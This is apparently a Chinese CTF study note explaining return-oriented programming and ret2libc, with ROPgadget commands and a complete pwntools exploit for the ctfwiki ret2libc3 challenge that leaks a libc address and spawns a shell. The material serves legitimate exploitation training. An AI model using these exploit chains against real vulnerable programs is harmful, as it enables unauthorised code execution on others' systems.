ROP

What is ROP

ROP(返回导向编程),主要用来针对NX保护机制,当堆栈不可执行,就将栈溢出后返回地址导向程序已有指令,当这些指令都已ret指令结尾时(被称作gadget),则可通过组合串联执行达到某些目的。

ROPgadget

ROPgadget工具可以自动扫描二进制文件中可供利用的gadget,甚至能自动构造利用链(懒狗福音,只是实际做题能遇见的不多就是了。。)

ROP的内存布局示例

payload中各条gadget地址与其参数(通常用于pop指令)布局大致如下

1

日常使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 扫描所有可利用的gadget
ROPgadget --binary file

# 搜索能存储指定寄存器的gadget
ROPgadget --binary file --only 'pop|ret' | grep 'eax'

# 搜索字符串
ROPgadget --binary rop --string "/bin/sh"

# 查找含有指定内容的
ROPgadget --binary file --only 'XX'

# 自动构造利用链(get shell),一般静态链接的文件才好用?
ROPgadget --binary file --ropchain

ret2libc

简单的ret2textret2shellcode就不说了,主要讲一讲ret2libc的东西

libc简介

要讲ret2libc就得先理解libc与可执行文件的关系,下面讲的也只是我目前的理解(如有误请指正)

一个动态链接的可执行文件和libc的关系大概就是,可执行文件运行时所需的共享对象会被链接到文件中,但其实整个libc都被加载在了虚拟内存中(这时还没有为其分配真正的物理内存,等切时要执行时才分配),这才有了ret2libc的可能。而有些可执行文件里面能被IDA加载后静态看得见的那些libc函数,都是文件中实际包含的,而没有的libc函数如system在确定libc在内存中的实际地址和函数偏移后一样可以利用。

一般的利用套路

当二进制文件中没有明显的后门函数,而又开启了NX保护不能直接注入shellcode执行。可以利用ROP链泄露已执行过的一些函数的实际地址,再用LibrarySearcher匹配找到对应libc,算出该函数在虚拟内存中的实际地址在libc中的地址偏移即可算出我们想要利用的libc函数在内存中的实际地址。

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

—— ctfwiki

一道例题ctfwiki-ret2libc3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts'] # 利用已执行过的puts函数泄露GOT表
libc_start_main_got = ret2libc3.got['__libc_start_main'] # 这里的选择比较多,put_got也行
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4]) # puts输出的回显前4即为我们想要得到的libc_start_main_addr实际地址
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) # 用函数名和实际地址来匹配获取libc
libcbase = libc_start_main_addr - libc.dump('__libc_start_main') # 偏移计算
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh') # 获取system函数和'/bin/sh'的实际地址

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr]) # 打!
sh.sendline(payload)

sh.interactive()

Comments